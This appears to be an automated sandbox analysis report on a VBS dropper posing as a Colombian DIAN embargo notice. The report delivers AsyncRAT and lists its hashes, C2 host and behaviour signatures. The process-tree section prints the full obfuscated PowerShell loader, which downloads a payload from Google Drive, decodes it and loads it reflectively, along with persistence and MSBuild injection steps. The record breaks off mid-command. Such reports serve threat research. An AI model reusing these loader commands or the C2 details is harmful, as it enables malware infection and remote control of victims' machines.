Analysis
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max time kernel
175s -
max time network
184s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
30-10-2024 14:23
Static task
static1
Behavioral task
behavioral1
Sample
DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs
Resource
win7-20241023-en
Behavioral task
behavioral2
Sample
DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs
Resource
win10v2004-20241007-en
General
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Target
DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs
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Size
68KB
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MD5
722ef0f62d5f0d96f0f63888e0d8ae39
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SHA1
0afc5ebc973e07bc01682922e5972dbfead09691
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SHA256
b2bea3384dc24126675379eb1473946f2927a10d8eff6730bc024716ef0f6864
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SHA512
9e614dbf3ea73992903a5a93884733ce4346e9108a78fba4f0ded8200cfd0fc33a929cebf2a1236163e63e6e33ac0b0daf8af8e881bb125f9cd57986db5454b2
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SSDEEP
1536:bUJW4Wrle/PhG+/kery+bGNccc3gt5pzaUGwm:jS7rgt5pnGwm
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur
Extracted
asyncrat
| CRACKED BY https://t.me/xworm_v2
zzzzDefaultIT
deadpoolstart2030.duckdns.org:6090
CookieWin
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delay
3
-
install
false
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install_folder
%AppData%
Signatures
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Asyncrat family
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Blocklisted process makes network request 15 IoCs
Processes:
WScript.exepowershell.exewscript.exepowershell.exewscript.exepowershell.exeflow pid process 4 2600 WScript.exe 8 2600 WScript.exe 28 4180 powershell.exe 30 4180 powershell.exe 39 4180 powershell.exe 64 1388 wscript.exe 65 1388 wscript.exe 66 4496 powershell.exe 67 4496 powershell.exe 72 4496 powershell.exe 90 3140 wscript.exe 92 3140 wscript.exe 93 2452 powershell.exe 94 2452 powershell.exe 95 2452 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4288 powershell.exe 4180 powershell.exe 3124 powershell.exe 4496 powershell.exe 1088 powershell.exe 2452 powershell.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exewscript.exewscript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation wscript.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
Processes:
flow ioc 27 drive.google.com 28 drive.google.com 66 drive.google.com 93 drive.google.com -
Suspicious use of SetThreadContext 3 IoCs
Processes:
powershell.exepowershell.exepowershell.exedescription pid process target process PID 4180 set thread context of 4980 4180 powershell.exe MSBuild.exe PID 4496 set thread context of 2160 4496 powershell.exe MSBuild.exe PID 2452 set thread context of 3680 2452 powershell.exe MSBuild.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
MSBuild.exeMSBuild.execmd.exetimeout.exeMSBuild.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language timeout.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 4380 timeout.exe -
Script User-Agent 6 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 8 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 64 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 65 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 90 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 92 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 16 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 4288 powershell.exe 4288 powershell.exe 4180 powershell.exe 4180 powershell.exe 3124 powershell.exe 3124 powershell.exe 4496 powershell.exe 4496 powershell.exe 4496 powershell.exe 4496 powershell.exe 1088 powershell.exe 1088 powershell.exe 2452 powershell.exe 2452 powershell.exe 2452 powershell.exe 2452 powershell.exe -
Suspicious use of AdjustPrivilegeToken 8 IoCs
Processes:
powershell.exepowershell.exeMSBuild.exepowershell.exepowershell.exepowershell.exepowershell.exeMSBuild.exedescription pid process Token: SeDebugPrivilege 4288 powershell.exe Token: SeDebugPrivilege 4180 powershell.exe Token: SeDebugPrivilege 4980 MSBuild.exe Token: SeDebugPrivilege 3124 powershell.exe Token: SeDebugPrivilege 4496 powershell.exe Token: SeDebugPrivilege 1088 powershell.exe Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 3680 MSBuild.exe -
Suspicious use of WriteProcessMemory 50 IoCs
Processes:
WScript.exepowershell.exepowershell.exewscript.exepowershell.exepowershell.exeMSBuild.execmd.exewscript.exepowershell.exepowershell.exedescription pid process target process PID 2600 wrote to memory of 4288 2600 WScript.exe powershell.exe PID 2600 wrote to memory of 4288 2600 WScript.exe powershell.exe PID 4288 wrote to memory of 4180 4288 powershell.exe powershell.exe PID 4288 wrote to memory of 4180 4288 powershell.exe powershell.exe PID 4180 wrote to memory of 3120 4180 powershell.exe cmd.exe PID 4180 wrote to memory of 3120 4180 powershell.exe cmd.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 4180 wrote to memory of 4980 4180 powershell.exe MSBuild.exe PID 1388 wrote to memory of 3124 1388 wscript.exe powershell.exe PID 1388 wrote to memory of 3124 1388 wscript.exe powershell.exe PID 3124 wrote to memory of 4496 3124 powershell.exe powershell.exe PID 3124 wrote to memory of 4496 3124 powershell.exe powershell.exe PID 4496 wrote to memory of 4864 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 4864 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 4864 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4496 wrote to memory of 2160 4496 powershell.exe MSBuild.exe PID 4980 wrote to memory of 5092 4980 MSBuild.exe cmd.exe PID 4980 wrote to memory of 5092 4980 MSBuild.exe cmd.exe PID 4980 wrote to memory of 5092 4980 MSBuild.exe cmd.exe PID 5092 wrote to memory of 4380 5092 cmd.exe timeout.exe PID 5092 wrote to memory of 4380 5092 cmd.exe timeout.exe PID 5092 wrote to memory of 4380 5092 cmd.exe timeout.exe PID 3140 wrote to memory of 1088 3140 wscript.exe powershell.exe PID 3140 wrote to memory of 1088 3140 wscript.exe powershell.exe PID 1088 wrote to memory of 2452 1088 powershell.exe powershell.exe PID 1088 wrote to memory of 2452 1088 powershell.exe powershell.exe PID 2452 wrote to memory of 3764 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3764 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3764 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe PID 2452 wrote to memory of 3680 2452 powershell.exe MSBuild.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DOCUMENTO_SISTEMA_REQUERIMIENTO_DIAN_PROCESO_DE_EMBARGO_REVISION_INMEDIATA_ad8098904901470147f818615.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgncnRraW1hZ2VVcmwgPSA0VjNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdScrJ2M/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVYnKydnSkonKydKdjFGNnZTNHNVJysnT3libkgtc0R2VWhCWXd1cjRWMztydGt3ZWJDbGllbnQgPSBOZXctJysnT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2xpZW50O3J0a2ltYWdlQnl0ZXMgPSBydGt3ZWJDbGllbnQuRG8nKyd3bmxvYWREYXQnKydhKHJ0a2ltYWdlVXJsKTtydGtpbWFnZVRleHQgPSBbU3lzJysndGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhydGtpbWFnZUJ5dGVzKTtydGtzdGFyJysndEZsYWcgPSA0VjM8PCcrJ0JBU0U2NF9TVEFSVD4+NFYzO3J0a2VuZEZsYWcgPSA0VjM8PEJBU0U2NF9FTkQ+PjRWMztydGtzdGFydEknKyduZGV4ID0gcnRrJysnaW1hZ2VUZXh0LkluZGV4T2YocnRrc3RhcnRGbGFnKTtydGtlbmRJbmRleCA9IHJ0a2ltYWdlVGV4dC5JbmRleE9mKHJ0a2UnKyduZEZsYWcpO3J0a3N0YScrJ3J0SW5kJysnZXggLWdlIDAgLWFuZCBydGtlbmRJbmRleCAtZ3QgcnRrc3RhcnRJbmRleDtydGtzJysndGFydEluZGV4ICs9IHJ0a3N0YXJ0RmxhJysnZy5MZW5ndGg7cnRrYmFzZTY0TGVuZ3RoID0gcnRrZW5kSW5kZXggLSBydGtzdGFydEluZGV4O3J0a2Jhc2U2NENvbW1hbmQgPSBydGtpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ3J0a3N0YXJ0SW5kZXgsIHJ0a2Jhc2U2NExlbmd0aCcrJyk7cnRrYmFzJysnZTY0UmV2ZXJzZWQgPSAtam9pbiAocnRrJysnYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJCViAnKydGJysnb3JFYWNoLU9iamVjdCB7IHJ0a18gfSlbLTEuLi0ocnRrYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtydGtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHInKyd0a2Jhc2U2NFJldmVyc2VkKTtydGtsb2FkZScrJ2RBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5BJysnc3NlbWJseV06OkxvJysnYWQocnRrY29tbWFuZEJ5dGVzKTtydGt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRWM1ZBSTRWMyk7cnRrdmFpTWV0aG9kLkludm9rZShydGtudWxsLCAnKydAKDRWMzcyNWVhY2JkNTFmMScrJy0wNjliLTA2NTQtYTlhNC1hM2Y4MjFjMD1uZWtvdCZhaWRlbT10bGE/dHh0LlRJVFNFVC9vL21vYy50b3BzcHBhLmIxMGFlLW9pbS1vdGNlJysneW9ycC9iLzB2L21vYy5zaXBhZWxnb29nLmVnYXJvdHNlc2FiZXJpZi8vOnNwdHRoNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VicrJzNkZXNhdCcrJ2l2YWRvNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VjNNU0J1aWxkNFYzJysnLCA0VjNkZXNhdGl2YWQnKydvNFYzLDRWM2Rlc2F0aXZhZG80VjMsNFYnKyczZGVzYXRpdmFkJysnbzRWMyw0VicrJzNVUkw0VjMsIDRWM0M6Ym0nKydXUHJvZ3JhbURhdGFiJysnbVc0VjMsNFYzY2Fydm9lamFyNFYzLDRWM3ZiczRWMyw0JysnVjMxNFYzLDRWMzE0VjMpKTsnKS1jUmVwTEFjRSAgJ3J0aycsW0NIYXJdMzYgIC1SZVBMQUNFKFtDSGFyXTgyK1tDSGFyXTY2K1tDSGFyXTg2KSxbQ0hhcl0xMjQgLVJlUExBQ0UgKFtDSGFyXTUyK1tDSGFyXTg2K1tDSGFyXTUxKSxbQ0hhcl0zOS1jUmVwTEFjRSAgKFtDSGFyXTk4K1tDSGFyXTEwOStbQ0hhcl04NyksW0NIYXJdOTIpIHwgJiAoIChbc1RSSW5HXSR2ZXJCT1NFUFJFRmVyRW5jZSlbMSwzXSsneCctam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('rtkimageUrl = 4V3https://drive.google.com/u'+'c?export=download&id=1AIV'+'gJJ'+'Jv1F6vS4sU'+'OybnH-sDvUhBYwur4V3;rtkwebClient = New-'+'Object S'+'ystem.Net.WebClient;rtkimageBytes = rtkwebClient.Do'+'wnloadDat'+'a(rtkimageUrl);rtkimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetString(rtkimageBytes);rtkstar'+'tFlag = 4V3<<'+'BASE64_START>>4V3;rtkendFlag = 4V3<<BASE64_END>>4V3;rtkstartI'+'ndex = rtk'+'imageText.IndexOf(rtkstartFlag);rtkendIndex = rtkimageText.IndexOf(rtke'+'ndFlag);rtksta'+'rtInd'+'ex -ge 0 -and rtkendIndex -gt rtkstartIndex;rtks'+'tartIndex += rtkstartFla'+'g.Length;rtkbase64Length = rtkendIndex - rtkstartIndex;rtkbase64Command = rtkimageText.Substring('+'rtkstartIndex, rtkbase64Length'+');rtkbas'+'e64Reversed = -join (rtk'+'base64Command.ToCharArray() RBV '+'F'+'orEach-Object { rtk_ })[-1..-(rtkbase64Command.Length)];rtkcommandBytes = [System.Convert]::FromBase64String(r'+'tkbase64Reversed);rtkloade'+'dAssembly = [System.Reflection.A'+'ssembly]::Lo'+'ad(rtkcommandBytes);rtkvaiMethod = [dnlib.IO.Home].GetMethod(4V3VAI4V3);rtkvaiMethod.Invoke(rtknull, '+'@(4V3725eacbd51f1'+'-069b-0654-a9a4-a3f821c0=nekot&aidem=tla?txt.TITSET/o/moc.topsppa.b10ae-oim-otce'+'yorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth4V3, 4V3desativado4V3, 4V'+'3desat'+'ivado4V3, 4V3desativado4V3, 4V3MSBuild4V3'+', 4V3desativad'+'o4V3,4V3desativado4V3,4V'+'3desativad'+'o4V3,4V'+'3URL4V3, 4V3C:bm'+'WProgramDatab'+'mW4V3,4V3carvoejar4V3,4V3vbs4V3,4'+'V314V3,4V314V3));')-cRepLAcE 'rtk',[CHar]36 -RePLACE([CHar]82+[CHar]66+[CHar]86),[CHar]124 -RePLACE ([CHar]52+[CHar]86+[CHar]51),[CHar]39-cRepLAcE ([CHar]98+[CHar]109+[CHar]87),[CHar]92) | & ( ([sTRInG]$verBOSEPREFerEnce)[1,3]+'x'-joiN'')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4180 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\carvoejar.vbs"4⤵PID:3120
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4980 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1A11.tmp.bat""5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5092 -
C:\Windows\SysWOW64\timeout.exetimeout 36⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
PID:4380
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C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\carvoejar.vbs1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1388 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgncnRraW1hZ2VVcmwgPSA0VjNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdScrJ2M/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVYnKydnSkonKydKdjFGNnZTNHNVJysnT3libkgtc0R2VWhCWXd1cjRWMztydGt3ZWJDbGllbnQgPSBOZXctJysnT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2xpZW50O3J0a2ltYWdlQnl0ZXMgPSBydGt3ZWJDbGllbnQuRG8nKyd3bmxvYWREYXQnKydhKHJ0a2ltYWdlVXJsKTtydGtpbWFnZVRleHQgPSBbU3lzJysndGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhydGtpbWFnZUJ5dGVzKTtydGtzdGFyJysndEZsYWcgPSA0VjM8PCcrJ0JBU0U2NF9TVEFSVD4+NFYzO3J0a2VuZEZsYWcgPSA0VjM8PEJBU0U2NF9FTkQ+PjRWMztydGtzdGFydEknKyduZGV4ID0gcnRrJysnaW1hZ2VUZXh0LkluZGV4T2YocnRrc3RhcnRGbGFnKTtydGtlbmRJbmRleCA9IHJ0a2ltYWdlVGV4dC5JbmRleE9mKHJ0a2UnKyduZEZsYWcpO3J0a3N0YScrJ3J0SW5kJysnZXggLWdlIDAgLWFuZCBydGtlbmRJbmRleCAtZ3QgcnRrc3RhcnRJbmRleDtydGtzJysndGFydEluZGV4ICs9IHJ0a3N0YXJ0RmxhJysnZy5MZW5ndGg7cnRrYmFzZTY0TGVuZ3RoID0gcnRrZW5kSW5kZXggLSBydGtzdGFydEluZGV4O3J0a2Jhc2U2NENvbW1hbmQgPSBydGtpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ3J0a3N0YXJ0SW5kZXgsIHJ0a2Jhc2U2NExlbmd0aCcrJyk7cnRrYmFzJysnZTY0UmV2ZXJzZWQgPSAtam9pbiAocnRrJysnYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJCViAnKydGJysnb3JFYWNoLU9iamVjdCB7IHJ0a18gfSlbLTEuLi0ocnRrYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtydGtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHInKyd0a2Jhc2U2NFJldmVyc2VkKTtydGtsb2FkZScrJ2RBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5BJysnc3NlbWJseV06OkxvJysnYWQocnRrY29tbWFuZEJ5dGVzKTtydGt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRWM1ZBSTRWMyk7cnRrdmFpTWV0aG9kLkludm9rZShydGtudWxsLCAnKydAKDRWMzcyNWVhY2JkNTFmMScrJy0wNjliLTA2NTQtYTlhNC1hM2Y4MjFjMD1uZWtvdCZhaWRlbT10bGE/dHh0LlRJVFNFVC9vL21vYy50b3BzcHBhLmIxMGFlLW9pbS1vdGNlJysneW9ycC9iLzB2L21vYy5zaXBhZWxnb29nLmVnYXJvdHNlc2FiZXJpZi8vOnNwdHRoNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VicrJzNkZXNhdCcrJ2l2YWRvNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VjNNU0J1aWxkNFYzJysnLCA0VjNkZXNhdGl2YWQnKydvNFYzLDRWM2Rlc2F0aXZhZG80VjMsNFYnKyczZGVzYXRpdmFkJysnbzRWMyw0VicrJzNVUkw0VjMsIDRWM0M6Ym0nKydXUHJvZ3JhbURhdGFiJysnbVc0VjMsNFYzY2Fydm9lamFyNFYzLDRWM3ZiczRWMyw0JysnVjMxNFYzLDRWMzE0VjMpKTsnKS1jUmVwTEFjRSAgJ3J0aycsW0NIYXJdMzYgIC1SZVBMQUNFKFtDSGFyXTgyK1tDSGFyXTY2K1tDSGFyXTg2KSxbQ0hhcl0xMjQgLVJlUExBQ0UgKFtDSGFyXTUyK1tDSGFyXTg2K1tDSGFyXTUxKSxbQ0hhcl0zOS1jUmVwTEFjRSAgKFtDSGFyXTk4K1tDSGFyXTEwOStbQ0hhcl04NyksW0NIYXJdOTIpIHwgJiAoIChbc1RSSW5HXSR2ZXJCT1NFUFJFRmVyRW5jZSlbMSwzXSsneCctam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3124 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('rtkimageUrl = 4V3https://drive.google.com/u'+'c?export=download&id=1AIV'+'gJJ'+'Jv1F6vS4sU'+'OybnH-sDvUhBYwur4V3;rtkwebClient = New-'+'Object S'+'ystem.Net.WebClient;rtkimageBytes = rtkwebClient.Do'+'wnloadDat'+'a(rtkimageUrl);rtkimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetString(rtkimageBytes);rtkstar'+'tFlag = 4V3<<'+'BASE64_START>>4V3;rtkendFlag = 4V3<<BASE64_END>>4V3;rtkstartI'+'ndex = rtk'+'imageText.IndexOf(rtkstartFlag);rtkendIndex = rtkimageText.IndexOf(rtke'+'ndFlag);rtksta'+'rtInd'+'ex -ge 0 -and rtkendIndex -gt rtkstartIndex;rtks'+'tartIndex += rtkstartFla'+'g.Length;rtkbase64Length = rtkendIndex - rtkstartIndex;rtkbase64Command = rtkimageText.Substring('+'rtkstartIndex, rtkbase64Length'+');rtkbas'+'e64Reversed = -join (rtk'+'base64Command.ToCharArray() RBV '+'F'+'orEach-Object { rtk_ })[-1..-(rtkbase64Command.Length)];rtkcommandBytes = [System.Convert]::FromBase64String(r'+'tkbase64Reversed);rtkloade'+'dAssembly = [System.Reflection.A'+'ssembly]::Lo'+'ad(rtkcommandBytes);rtkvaiMethod = [dnlib.IO.Home].GetMethod(4V3VAI4V3);rtkvaiMethod.Invoke(rtknull, '+'@(4V3725eacbd51f1'+'-069b-0654-a9a4-a3f821c0=nekot&aidem=tla?txt.TITSET/o/moc.topsppa.b10ae-oim-otce'+'yorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth4V3, 4V3desativado4V3, 4V'+'3desat'+'ivado4V3, 4V3desativado4V3, 4V3MSBuild4V3'+', 4V3desativad'+'o4V3,4V3desativado4V3,4V'+'3desativad'+'o4V3,4V'+'3URL4V3, 4V3C:bm'+'WProgramDatab'+'mW4V3,4V3carvoejar4V3,4V3vbs4V3,4'+'V314V3,4V314V3));')-cRepLAcE 'rtk',[CHar]36 -RePLACE([CHar]82+[CHar]66+[CHar]86),[CHar]124 -RePLACE ([CHar]52+[CHar]86+[CHar]51),[CHar]39-cRepLAcE ([CHar]98+[CHar]109+[CHar]87),[CHar]92) | & ( ([sTRInG]$verBOSEPREFerEnce)[1,3]+'x'-joiN'')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4496 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵PID:4864
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
PID:2160
-
C:\Windows\system32\wscript.exewscript.exe C:\ProgramData\carvoejar.vbs1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3140 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgncnRraW1hZ2VVcmwgPSA0VjNodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdScrJ2M/ZXhwb3J0PWRvd25sb2FkJmlkPTFBSVYnKydnSkonKydKdjFGNnZTNHNVJysnT3libkgtc0R2VWhCWXd1cjRWMztydGt3ZWJDbGllbnQgPSBOZXctJysnT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2xpZW50O3J0a2ltYWdlQnl0ZXMgPSBydGt3ZWJDbGllbnQuRG8nKyd3bmxvYWREYXQnKydhKHJ0a2ltYWdlVXJsKTtydGtpbWFnZVRleHQgPSBbU3lzJysndGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhydGtpbWFnZUJ5dGVzKTtydGtzdGFyJysndEZsYWcgPSA0VjM8PCcrJ0JBU0U2NF9TVEFSVD4+NFYzO3J0a2VuZEZsYWcgPSA0VjM8PEJBU0U2NF9FTkQ+PjRWMztydGtzdGFydEknKyduZGV4ID0gcnRrJysnaW1hZ2VUZXh0LkluZGV4T2YocnRrc3RhcnRGbGFnKTtydGtlbmRJbmRleCA9IHJ0a2ltYWdlVGV4dC5JbmRleE9mKHJ0a2UnKyduZEZsYWcpO3J0a3N0YScrJ3J0SW5kJysnZXggLWdlIDAgLWFuZCBydGtlbmRJbmRleCAtZ3QgcnRrc3RhcnRJbmRleDtydGtzJysndGFydEluZGV4ICs9IHJ0a3N0YXJ0RmxhJysnZy5MZW5ndGg7cnRrYmFzZTY0TGVuZ3RoID0gcnRrZW5kSW5kZXggLSBydGtzdGFydEluZGV4O3J0a2Jhc2U2NENvbW1hbmQgPSBydGtpbWFnZVRleHQuU3Vic3RyaW5nKCcrJ3J0a3N0YXJ0SW5kZXgsIHJ0a2Jhc2U2NExlbmd0aCcrJyk7cnRrYmFzJysnZTY0UmV2ZXJzZWQgPSAtam9pbiAocnRrJysnYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJCViAnKydGJysnb3JFYWNoLU9iamVjdCB7IHJ0a18gfSlbLTEuLi0ocnRrYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtydGtjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHInKyd0a2Jhc2U2NFJldmVyc2VkKTtydGtsb2FkZScrJ2RBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5BJysnc3NlbWJseV06OkxvJysnYWQocnRrY29tbWFuZEJ5dGVzKTtydGt2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDRWM1ZBSTRWMyk7cnRrdmFpTWV0aG9kLkludm9rZShydGtudWxsLCAnKydAKDRWMzcyNWVhY2JkNTFmMScrJy0wNjliLTA2NTQtYTlhNC1hM2Y4MjFjMD1uZ